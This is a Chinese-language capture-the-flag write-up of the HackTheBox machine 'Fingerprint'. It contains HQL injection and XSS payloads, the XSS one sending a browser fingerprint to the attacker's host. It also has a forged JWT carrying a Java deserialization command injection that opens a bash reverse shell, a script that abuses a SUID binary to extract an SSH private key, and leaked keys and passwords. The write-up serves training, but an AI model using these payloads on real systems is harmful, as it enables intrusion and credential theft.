HackTheBox - Fingerprint

本文最后更新于:2022年11月29日 晚上

0x01 Recon & Foothold

nmap

1
nmap -sC -sV -Pn -v 10.10.11.127
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT     STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 90:65:07:35:be:8d:7b:ee:ff:3a:11:96:06:a9:a1:b9 (RSA)
| 256 4c:5b:74:d9:3c:c0:60:24:e4:95:2f:b0:51:84:03:c5 (ECDSA)
|_ 256 82:f5:b0:d9:73:18:01:47:61:f7:f6:26:0a:d5:cd:f2 (ED25519)
80/tcp open http Werkzeug httpd 1.0.1 (Python 2.7.17)
|_http-title: mylog - Starting page
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/1.0.1 Python/2.7.17
8080/tcp open http Sun GlassFish Open Source Edition 5.0.1
|_http-title: secAUTH
| http-methods:
| Supported Methods: GET HEAD POST PUT DELETE TRACE OPTIONS
|_ Potentially risky methods: PUT DELETE TRACE
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

site 80

访问站点能够发现一些信息,比如默认的admin:admin口令,以及网站后端是flask框架。

image-20220527192138309

同时抓包也证实了这一点:

image-20220527190817136

目录扫描

扫描目录发现有一个/admin的端点,虽然是302跳转,但是返回的数据包大小反而比/login端点还要大。

1
2
3
4
5
➤  feroxbuster --url http://10.10.11.127
[...]
200 GET 206l 633w 10916c http://10.10.11.127/
302 GET 59l 104w 1574c http://10.10.11.127/admin => http://10.10.11.127/login
200 GET 36l 77w 901c http://10.10.11.127/login

我们使用Burp将将返回数据包的302 FOUND改成200 OK

image-20220527193848620

再次访问界面,发现可以查看一个auth.log的访问日志文件。在8080端口的站点进行登录认证时,会在这个日志文件中生成访问记录,这个文件我们后面会用到。

image-20220527194557966

image-20220527203929551

路径穿越漏洞

蓝色的查看按钮指向链接 /admin/view/auth.log,对该端点进行测试,能够发现有路径穿越漏洞。

image-20220527195034574

flask经典的启动文件名就是app.py了,我们紧接着访问/admin/view/../../../../../proc/self/cwd/app.py即可拿到flask文件。

文件里面只有一个SECRET_KEY是我们值得关注的内容。

1
app.config['SECRET_KEY'] = 'SjG$g5VZ(vHC;M2Xc/2~z('

site 8080

随便发一个包看一下后端,是一个GlassFish的后端。

image-20220527191948250

目录扫描

扫描目录的结果也显示了这应该是一个Java Web网站:

1
2
3
4
5
6
7
8
9
10
➤  feroxbuster --depth 1 --url http://10.10.11.127:8080                                                     
[...]
200 GET 229l 626w 13020c http://10.10.11.127:8080/
200 GET 72l 113w 1733c http://10.10.11.127:8080/login
405 GET 1l 74w 1184c http://10.10.11.127:8080/upload
301 GET 6l 13w 185c http://10.10.11.127:8080/resources => http://10.10.11.127:8080/resources/
301 GET 6l 13w 183c http://10.10.11.127:8080/WEB-INF => http://10.10.11.127:8080/WEB-INF/
301 GET 6l 13w 183c http://10.10.11.127:8080/backups => http://10.10.11.127:8080/backups/
302 GET 6l 13w 180c http://10.10.11.127:8080/welcome => http://10.10.11.127:8080/login
301 GET 6l 13w 184c http://10.10.11.127:8080/META-INF => http://10.10.11.127:8080/META-INF/

这个backup文件夹里应该是有东西的,结合这是一个Java Web网站,我们使用-x参数指定文件拓展名然后继续对backup文件夹进行扫描。

1
2
3
4
5
6
7
➤  feroxbuster --depth 1 --url http://10.10.11.127:8080/backups/ -x java,jsp,class

[...]

200 GET 54l 122w 1444c http://10.10.11.127:8080/backups/User.java
200 GET 43l 99w 1060c http://10.10.11.127:8080/backups/Profile.java
401 GET 1l 52w 1094c http://10.10.11.127:8080/backups/j_security_check

HQL注入

对登录过程进行抓包,发现除了常见的用户名密码外还有一个auth_secondary字段,且作了改动后服务器会返回500 Internal Server Error

image-20220527200838766

不过通过报错信息我们能够发现这个后端使用了Hibernate这样一个框架来作为ORM框架,与这个框架有关的就是HQL注入了。

image-20220527200951363

尝试让单引号闭合,报错如下:

image-20220527202924349

我们尝试让执行的HQL返回一条记录,比如使用这样一个payload:' or username='admin。使用该payload可以看到服务器不再返回500 Internal Server Error的错误了,而是显示Invalid fingerprint-ID。我们再看看能不能绕过对fingerprint-ID的校验吧。

image-20220527202959824

/resources/js/login.js端点下能够发现相关函数getFingerPrintID的定义。通览代码后不难发现这个fingerprint其实指代的就是浏览器的指纹。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function getFingerPrintID() {
let fingerprint = navigator.appCodeName + navigator.appVersion + (navigator.cookieEnabled ? "yes" : "no") + navigator.language + navigator.platform +
navigator.productSub + navigator.userAgent + navigator.vendor + screen.availWidth + ""
+ screen.availHeight + "" + screen.width + "" + screen.height + "" +
screen.orientation.type + "" + screen.pixelDepth + "" + screen.colorDepth +
Intl.DateTimeFormat().resolvedOptions().timeZone;
for (const plugin of navigator.plugins) {
fingerprint += plugin.name + ",";
}
for (const mime of navigator.mimeTypes) {
fingerprint += mime.type + ",";
}
return MD5(fingerprint)
}

在浏览器的console界面可以查看这个getFingerPrintID使用的对象,以navigator为例,如下:

image-20220530154353233

XSS

那现在看来就是这个登录界面通过对浏览器指纹进行识别做了白名单限制,亦即需要搞到一个合法的fingerprint-ID

首先因为存在HQL注入,我们理论上可以通过HQL盲注来获取fingerprint-ID,这是第一种方案;

但是在接下来的测试中我们发现有XSS,还记得一开始我们提到的auth.log吗,我们输入任意XSS payload,比如经典的<script>alert(1)</script>,在80端口查看auth.log,如下:

test

在验证成功存在XSS后,另一个可行的方案是使用XSS拿到可能存在的BOT的fingerprint-ID。所以构造payload如下,当然也可以封装成一个evil.js,然后放在本机让服务器来访问。

1
2
<script src="http://10.10.11.127:8080/resources/js/login.js"></script> 
<script>document.write("<img src=http://10.10.16.16/"+getFingerPrintID()+"></img>");</script>

将payload输入后点击登录:

image-20220527211236544

稍等即可拿到BOT的fingerprint-ID

image-20220527211334013

我们选择来自服务器的fingerprint-ID,即962f4a03aa7ebc0515734cf398b0ccd6

输入该fingerprint-ID,和预期结果不太一样的是依旧是之前的报错信息:

image-20220527211710797

在确认之前的步骤没有问题后,一个推测是这个fingerprint-ID并不是admin的,而是另外的用户的。于是在假设fingerprint-ID唯一的情况下,我们可以将username中的逻辑取反,即让username不等于admin(使用<>)。再次尝试登录,结果如下:

image-20220527211650482

文件上传

点击链接,跳转到一个可以上传文件的页面。

image-20220527214841872

这里我的界面没有加载出来,也上传不了文件。一番探索后发现是被墙了,需要挂梯子。。

挂了梯子后页面能够正常加载了,也能正常上传文件了。

image-20220527215448645

上传文件后能够发现上传目录为/data/uploads。然后就没有别的了,也不能查看,也没有其他后续操作。

image-20220527215631785

JWT

同时我们还发现了发送的数据包中有JWT的存在,复制出来放到jwt.io中进行解码,如下。然后使用之前拿到的SECRET_KEY能够成功校验签名。

image-20220527214026711

user的值在解码后依旧不是明文,尝试再次base64解码,如下所示。可以看出大概这就是一个Java的序列化文件。通过这个字符串能够得出这是一个User对象,其他的字符串应该就是用户名、密码和fingerprint-ID了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  echo "rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAAnQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMWI0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQAC21pY2hlYWwxMjM1" | base64 -d |xxd

00000000: aced 0005 7372 0021 636f 6d2e 6164 6d69 ....sr.!com.admi
00000010: 6e2e 7365 6375 7269 7479 2e73 7263 2e6d n.security.src.m
00000020: 6f64 656c 2e55 7365 7294 04d7 73e3 5fb9 odel.User...s._.
00000030: 6b02 0004 4900 0269 644c 000b 6669 6e67 k...I..idL..fing
00000040: 6572 7072 696e 7474 0012 4c6a 6176 612f erprintt..Ljava/
00000050: 6c61 6e67 2f53 7472 696e 673b 4c00 0870 lang/String;L..p
00000060: 6173 7377 6f72 6471 007e 0001 4c00 0875 asswordq.~..L..u
00000070: 7365 726e 616d 6571 007e 0001 7870 0000 sernameq.~..xp..
00000080: 0002 7400 4037 6566 3532 6332 3531 6638 ..t.@7ef52c251f8
00000090: 3034 3463 6231 3837 3031 3339 3932 3839 044cb18701399289
000000a0: 3164 3065 3538 6365 3931 3934 6465 3766 1d0e58ce9194de7f
000000b0: 3533 3562 3162 3466 6136 6262 6665 3038 535b1b4fa6bbfe08
000000c0: 3637 3866 3674 0014 4c57 6737 6755 5231 678f6t..LWg7gUR1
000000d0: 456d 5837 554e 7873 4a78 715a 7400 0b6d EmX7UNxsJxqZt..m
000000e0: 6963 6865 616c 3132 3335 icheal1235

file命令也验证了这是一个序列化文件。

image-20220527214225003

综合利用

审计

利用的话应该就涉及到源代码的审计了,我们将之前拿到的几个java文件陈列如下:

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.admin.security.src.model;

import com.admin.security.src.utils.FileUtil;
import com.admin.security.src.utils.SerUtils;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

import javax.persistence.*;
import java.io.File;
import java.io.IOException;
import java.io.Serializable;
import java.nio.file.Paths;

// import com.admin.security.src.model.UserProfileStorage;
@AllArgsConstructor
@NoArgsConstructor
@Entity
@Data
@Table(name = "users")
public class User implements Serializable {
private static final long serialVersionUID = -7780857363453462165L;

@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name = "id")
protected int id;

@Column(name = "username")
protected String username;

@Column(name = "password")
protected String password;

@Column(name = "fingerprint")
protected String fingerprint;

public File getProfileLocation() {
final File dir = new File("/data/sessions/");
dir.mkdirs();

final String pathname = dir.getAbsolutePath() + "/" + username + ".ser";
return Paths.get(pathname).normalize().toFile();
}

public boolean isAdmin() {
return username.equals("admin");
}

public void updateProfile(final Profile profile) throws IOException {
final byte[] res = SerUtils.toByteArray(profile);
FileUtil.write(res, getProfileLocation());
}
}

Profile.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.admin.security.src.model;

import com.admin.security.src.profile.UserProfileStorage;
import lombok.Data;

import java.io.File;
import java.io.IOException;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.List;

@Data
public class Profile implements Serializable {
private static final long serialVersionUID = 3995854114743474071L;

private final List<String> logs;
private final boolean adminProfile;

private File avatar;

public static Profile getForUser(final User user) {
// fetch locally saved profile
final File file = user.getProfileLocation();

Profile profile;

if (!file.isFile()) {
// no file -> create empty profile
profile = new Profile(new ArrayList<>(), user.isAdmin());
try {
user.updateProfile(profile);
} catch (final IOException ignored) {
}
}

// init logs etc.
profile = new UserProfileStorage(user).readProfile();

return profile;

}

}

以上两个java文件是扫目录得出来的,然后通过import com.admin.security.src.profile.UserProfileStorage;这句话又找到了一个UserProfileStorage.java文件,如下:

UserProfileStorage.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.admin.security.src.profile;

import com.admin.security.src.model.Profile;
import com.admin.security.src.model.User;
import com.admin.security.src.utils.SerUtils;
import com.admin.security.src.utils.Terminal;
import lombok.AllArgsConstructor;
import lombok.Data;

import java.io.File;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;

import static com.admin.security.src.profile.Settings.AUTH_LOG;

@Data
@AllArgsConstructor
public class UserProfileStorage implements Serializable {
private static final long serialVersionUID = -5667788713462095525L;

private final User user;

private void readObject(final ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
readProfile();
}

public Profile readProfile() throws IllegalStateException {

final File profileFile = user.getProfileLocation();

try {
final Path path = Paths.get(profileFile.getAbsolutePath());
final byte[] content = Files.readAllBytes(path);

final Profile profile = (Profile) SerUtils.from(content);
if (profile.isAdminProfile()) { // load authentication logs only for super user
profile.getLogs().clear();
final String cmd = "cat " + AUTH_LOG.getAbsolutePath() + " | grep " + user.getUsername();
profile.getLogs().addAll(Arrays.asList(Terminal.run(cmd).split("\n")));
}
return profile;
} catch (final Exception e) {
throw new IllegalStateException("Error fetching profile");
}


}


}

分析

UserProfileStorage.java中有这样一句话应该是潜在的系统命令执行。

1
final String cmd = "cat " + AUTH_LOG.getAbsolutePath() + " | grep " + user.getUsername();

我们假设在传入Cookie后后端通过readObject还原出我们可控的UserProfileStorage对象,则我们可以尝试在cmd中注入命令达到命令执行。

但是这里有一个疑问是我们的Cookie中反序列化得到的是User对象(前面的file命令),不是User对象,但尝试了一下两个对象都可以利用。

而如果我们要想执行cmd这句话,首先是要让profile.isAdminProfile()这个boolean值为真。

往前看能够看到一个user.getProfileLocation()指示了读取文件的位置。而我们目前可控的有jwt亦即User对象,通过控制User对象中的username理论上我们就能控制getProfileLocation()返回的最终路径,从而控制读取的profile文件,最后控制生成的Profile对象。

而profile文件也是我们可控的,因为存在着上传的功能点,同时通过返回的路径我们也能定位到上传的文件。

再一个就是要怎么通过username来同时兼顾命令注入的问题。注意到在User.java中的getProfileLocation函数中最后返回了这个:

1
Paths.get(pathname).normalize().toFile();

测试一下可以发现在注入命令后解析依旧是没问题的。

image-20220528110515414

image-20220528110937198

工程

在测试没有问题后我们需要着手构造我们的序列化文件了。我们直接在现有的从backup文件夹中拿到的源代码的基础上建立工程文件即可。

这里我们需要生成两个文件,一个是profile的序列化文件(上传),一个是user的序列化文件(放在cookie里)。

这里使用了maven来管理依赖。

我们首先要做的是要补全FileUtil和SerUtils这两个工具类文件。最后得出的结果如下:

参考了如下几个网站的写法:

https://stackoverflow.com/questions/2836646/java-serializable-object-to-byte-array

https://www.tutorialspoint.com/How-to-convert-an-object-to-byte-array-in-java

https://stackoverflow.com/questions/3736058/java-object-to-byte-and-byte-to-object-converter-for-tokyo-cabinet/3736091

FileUtil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.admin.security.src.utils;

import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class FileUtil {
public static void write(final byte[] data, final File file) throws IOException {
if (!file.isFile()) {
file.createNewFile();
}
Files.write(Paths.get(file.getAbsolutePath()), data);
}
}

SerUtils.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.admin.security.src.utils;

import java.io.Serializable;
import java.io.IOException;
import java.io.ByteArrayOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.lang.ClassNotFoundException;

public class SerUtils {
public static byte[] toByteArray(final Serializable obj) throws IOException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
oos.flush();
return bos.toByteArray();
}

public static Object from(byte[] data) throws IOException, ClassNotFoundException {
ByteArrayInputStream bis = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bis);
return ois.readObject();
}
}

这个项目一开始编译的时候遇到了很多问题,主要是lombok的配置问题,最后pom.xml文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>admin</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<java.version>11</java.version>
<maven.compiler.source>11</maven.compiler.source>
<maven.compiler.target>11</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.16</version>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</dependency>
</dependencies>

<build>
<pluginManagement>
<plugins>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
<configuration>
<source>11</source>
<target>11</target>
<encoding>UTF-8</encoding>
<annotationProcessorPaths>
<path>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.16</version>
</path>
</annotationProcessorPaths>
</configuration>
</plugin>

</plugins>
</pluginManagement>
</build>

</project>

伪造

在解决各种依赖问题后,建立App.java作为主模块,编写逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.admin.security.src;

import com.admin.security.src.model.Profile;
import com.admin.security.src.model.User;
import com.admin.security.src.profile.UserProfileStorage;
import com.admin.security.src.utils.SerUtils;
import com.admin.security.src.utils.FileUtil;

import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.ArrayList;
import java.util.Base64;

public class App {
public static void main( String[] args ) throws IOException {
// 首先生成profile的序列化文件,命名为test.ser
Profile profile = new Profile(new ArrayList<>(), true);
FileUtil.write(SerUtils.toByteArray(profile), new File("./test.ser"));

// 然后生成user的序列化文件,文件名需要和上面的profile文件名向对应
// 使用了常规的反弹shell的payload,解码后为
// bash -c 'exec bash -i >& /dev/tcp/10.10.16.16/4444 0>&1'
User user = new User(666, "../../../../$(echo \"YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjE2LzQ0NDQgMD4mMScK\" | base64 -d | bash)/../../../data/uploads/test", "", "");
// 测试发现序列化UserProfileStorage对象或者User对象都能达到效果,目前原因未知。
// UserProfileStorage ups = new UserProfileStorage(user);
// System.out.println(Base64.getEncoder().encodeToString(SerUtils.toByteArray(ups)));
System.out.println(Base64.getEncoder().encodeToString(SerUtils.toByteArray(user)));

}

}

将生成的数据填入user字段中,然后使用之前的SECRET_KEY生成校验段即可拿到伪造的JWT Token。

image-20220528203535288

记录如下:

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoick8wQUJYTnlBREZqYjIwdVlXUnRhVzR1YzJWamRYSnBkSGt1YzNKakxuQnliMlpwYkdVdVZYTmxjbEJ5YjJacGJHVlRkRzl5WVdkbHNWZjRNY0Fmb1ZzQ0FBRk1BQVIxYzJWeWRBQWpUR052YlM5aFpHMXBiaTl6WldOMWNtbDBlUzl6Y21NdmJXOWtaV3d2VlhObGNqdDRjSE55QUNGamIyMHVZV1J0YVc0dWMyVmpkWEpwZEhrdWMzSmpMbTF2WkdWc0xsVnpaWEtVQk5kejQxKzVhd0lBQkVrQUFtbGtUQUFMWm1sdVoyVnljSEpwYm5SMEFCSk1hbUYyWVM5c1lXNW5MMU4wY21sdVp6dE1BQWh3WVhOemQyOXlaSEVBZmdBRVRBQUlkWE5sY201aGJXVnhBSDRBQkhod0FBQUNtblFBQUhFQWZnQUdkQUNRTGk0dkxpNHZMaTR2TGk0dkpDaGxZMmh2SUNKWmJVWjZZVU5CZEZsNVFXNWFXR2hzV1hsQ2FWbFlUbTlKUXpGd1NVUTBiVWxET1d0YVdGbDJaRWRPZDB4NlJYZE1ha1YzVEdwRk1reHFSVEpNZWxFd1RrUlJaMDFFTkcxTlUyTkxJaUI4SUdKaGMyVTJOQ0F0WkNCOElHSmhjMmdwTHk0dUx5NHVMeTR1TDJSaGRHRXZkWEJzYjJGa2N5OTBaWE4wIn0.2KOkhWYqILuF02Lfquo_4uHDzUGT5d0FXY5H52jMbpM

将得到的Cookie替换后刷新界面,开启nc监听,即可拿到www-data的shell:

1
2
www-data@fingerprint:/opt/glassfish5/glassfish/domains/domain1/config$ whoami
www-data

0x02 user.txt

拿到一个基本的shell后尝试提权,首先上传linpeas后能够在数据库中拿到一个密码:

image-20220528213140937

u_will_never_guess_this_password

然后在home目录下发现存在着john用户,下有user.txt,看起来我们是先要提权到john

1
2
www-data@fingerprint:/opt/glassfish5/glassfish/domains/domain1/config$ ls /home
flask john

cmatch

翻了一下具有suid权限的二进制文件,发现有一个cmatch文件。

image-20220528213513611

使用file命令查看文件,发现是一个用go编写的可执行文件:

1
2
➤  file cmatch 
cmatch: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=g0S7smUZ4Ljbm3adlw4M/rerwBcGwNE-PzKhA00uD/bFZyY2tGMN1Pij5MJT3S/a3vHbLilzEj9Jm1HX5K5, not stripped

功能推断

在不断尝试的过程中,我们可以发现它实现了一个文件匹配的功能。

1
2
3
4
5
6
7
8
9
10
11
12
www-data@fingerprint:/opt/glassfish5/glassfish/domains/domain1/config$ /usr/bin/cmatch a
Incorrect number of arguments!
www-data@fingerprint:/opt/glassfish5/glassfish/domains/domain1/config$ /usr/bin/cmatch a
Incorrect number of arguments!
www-data@fingerprint:/opt/glassfish5/glassfish/domains/domain1/config$ /usr/bin/cmatch a a
open a: no such file or directory
www-data@fingerprint:/opt/glassfish5/glassfish/domains/domain1/config$ /usr/bin/cmatch /etc/passwd a
Found matches: 105
www-data@fingerprint:/opt/glassfish5/glassfish/domains/domain1/config$ /usr/bin/cmatch /etc/passwd john
Found matches: 3
www-data@fingerprint:/opt/glassfish5/glassfish/domains/domain1/config$ grep john /etc/passwd
john:x:1000:1000:john:/home/john:/bin/bash

然后同时还发现这个脚本支持正则匹配:

1
2
www-data@fingerprint:/opt/glassfish5/glassfish/domains/domain1/config$ /usr/bin/cmatch /etc/passwd .
Found matches: 1610

然后看看能不能读john的私钥文件:

1
2
www-data@fingerprint:/opt/glassfish5/glassfish/domains/domain1/config$ /usr/bin/cmatch /home/john/.ssh/id_rsa .
Found matches: 1736

exploit编写

是可以的,所以理论上我们可以通过这个脚本一步一步将john用户的ssh私钥读出来,编写脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import os
import subprocess
import string

special_chars = ":,-=/+ "
known_chars = string.ascii_letters + string.digits + "\n" + special_chars
key = "^-----BEGIN"
if __name__ == '__main__':
print("-----BEGIN", end="")
while True:
for c in known_chars:
c_reg = c
if c in special_chars:
if c == " ":
c_reg = "\\s"
else:
c_reg = "\\" + c
# 运行命令
reg = f'/usr/bin/cmatch /home/john/.ssh/id_rsa "{key}{c}"'
# 检查输出结果
res = subprocess.check_output(f'/usr/bin/cmatch /home/john/.ssh/id_rsa "{key}{c_reg}"', shell=True)
if res == b"Found matches: 1\n":
# 拼接
key = key + c_reg
print(c, end="")
break

这里建议是先将cmatch这个文件拖下来在本地进行测试和代码测试,这样会快一些。

测试通过后将文件上传到靶机上然后运行,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
www-data@fingerprint:/opt/glassfish5/glassfish/domains/domain1/config$ python test.py
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,C310F9D86AE7CB5EA10046F9A215F423

ysiTr753RYpx1qkFJRvge/Dtu7rMEocAuCchOzAUgw9MqyPuI5M9m6KTvdB2E+SC
KI8IlmSbAAu0obdwTOuKD0QDGCMlXadI91WKkhALiLuw0JsxuviTqkjy/xQOJYu+
T4VCRI8vZoc5lfGRXnVsOJmrfTWc8f43YSD+j8dOFvdkHi0ud7xSQfqKyhDVsRyO
6qM2v5RnBJBktl7vwftG5vyk5vZjmx2u5BXTksuBrMUF2iZVtsoQ59L70CtIXP0M
g5HV4QZWRhSlS++i8W0GnWzCGANwiS18Z6CR4noSw80huaCIqWfwnoTXGJx91IDM
S79dBUPaK109+DKXZfT600JriZ8S9yvox3QuQ9KwsqTP/Iz8NqQI/J5KLoivM+t4
DHjReKktYJQ+jLB1hA3CQDYs/kVUHdG2ThluFESVrnhJDvkyvKLxNlixighsb2+c
3JHnD8OvXOxrj2jl0k/DgbsfNxf3sHAl8snIiBwgEmb8Ep6CJOIQbuaPzqa2/Lxt
FWZlHwYGnieVxX67nNdcU+3xdfXbJX8UpYuGkKGwSiZRDHb3sMN5CtfHhU0fNybG
5xHn1YTwMZwHf8dKijdevMG2a8D79oaPff0XNflP+M2oz6e8RPOmkI0Wkv9EIq9X
IbLprBGDM8VQDHtO76u+l4DQZbMFCjCSjm+/xVtPmkCB7YhOyMOd5GqymGhxlbaS
OYJUBjA0TxHLtJ5+5rptyaIwnJ82CA0jjRI3hoGfk2PAkX9LJuonnRm3/Is2u02R
GoYnpegyKTp5ETL1Ut5BdEle1HrCTY5EjzI+e7bwXIEVhvgwS8e6W3ZUq72CC+gb
PkSbQSQXQDQ3/qEN0XkpFIa7gyB/GTKtlEwUSv/GxyB7lxu314/Nox7Bz32sxxsc
EwZURAAynFhVP+Bd7eB/ws/Ii2N9ENKk8ut8+9fKFw4/1pJDdwuof8MgdPImmEXZ
MPrQyMbt/7g1oAskxy3XgeuuRY76HN/p2tElyBDZ4K+XWikKAnQPNkaohfjqsTJX
VqPsWG2f8XxMnN6gRvWQ7eibbARdFU7c0KR3ANWgQ06ysCYp+R8F4ns4+nZzp2x1
DJpbS55UpW9r3cjcHHjfAoEmtI80waMKMpnTmwWyPqFGQiCVJvQkQBWKpmT/W8hU
dexiRjth+FOMmrUcFe1sSElNFHDcKj2TKxdPW97c/afLn3E/dUFDzalntY7K4A5M
O0F1a7M71yqaTsTEBglt1ZfVJUdogpz5rp2i77H5/gHV1/gIEwLwLkUchsFpS2kC
/ttPebUPv5Xxd/qMF4c8+Qaynn9+MAnbDPz7peYH2un2n103qI4PudCjdpGW23sb
UOtc0lgU4S2pA8rWT3j69nesVzR6Yni5zzj2gUL6o12+jdLoGYH6x6unlSf+EnEc
U1jQBBJReZQ82j+e1FhxvD6WclxpNrtZxZdSyYaaLOMyI618tvvn5X63AWoNAZoT
sq0H1EhWic++FzpFC1QjvmWlFIA8+KUt2BL0fz7RTQTfR0EGyZnZv9Dqe6QCneIE
U3tpTZByfgx+MI2LIM8GXjvhUOiM6DieB2OFWsR8JRyred2qFJOjz7fX5TUl9dQv
-----END RSA PRIVATE KEY-----

但是使用该文件在登录时提示需要私钥文件的密码。

爆破(失败)

我们可以先试试爆破。首先是hashcat本身是不支持爆破ssh私钥密码的,但是john可以。我们可以使用ssh2john这个脚本帮助我们将私钥文件转换成john支持的hash

1
➤  ssh2john.py id_rsa > id_rsa.hash 

但是并没有爆破成功:

1
2
3
4
5
6
7
8
9
➤  john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 DONE (2021-11-04 17:02) 0g/s 4717Kp/s 4717Kc/s 4717KC/s *7¡Vamos!
Session completed.

解包&搜索

在接着使用之前找到的一些密码无果后,我将目光投向了部署网站的war文件。

1
2
3
4
5
6
7
8
www-data@fingerprint:/opt/glassfish5/glassfish/domains/domain1/config$ find / -name *.war 2>/dev/null
/opt/glassfish5/glassfish/lib/install/applications/metro/wstx-services.war
/opt/glassfish5/glassfish/lib/install/applications/ejb-timer-service-app.war
/opt/glassfish5/glassfish/domains/domain1/applications/__internal/app/app.war
/opt/glassfish5/mq/lib/imqums.war
/opt/glassfish5/mq/lib/imqhttp.war
/opt/glassfish5/mq/lib/imqhttps.war
/opt/glassfish5/javadb/lib/derby.war

将app.war拖下来,解包后将整个文件夹导入jd-gui分析,全盘搜索password等关键字后在HibernateUtil.class文件中找到了一个密码q9Patz64fhtiVSO6Df2K

image-20220529220324228

使用这个密码我们能够成功登录进john:

1
2
3
john@fingerprint:~$ cat user.txt
82b92c5ae7a77e4e586a14275f259345
john@fingerprint:~$

0x03 root.txt

靶场retired了。。做不得

0x04 Summary

这是一个Insane难度的Linux靶机,主要考察内容如下:

  • 不严谨的302跳转的利用
  • 路径穿越漏洞
  • HQL注入
  • XSS
  • Json Web Token
  • Java代码审计
  • 反序列化利用
  • 滥用二进制文件
  • war包分析

HackTheBox - Fingerprint
https://m0ck1ng-b1rd.github.io/2022/06/06/HTB/Fingerprint/
作者
何语灵
发布于
2022年6月6日
许可协议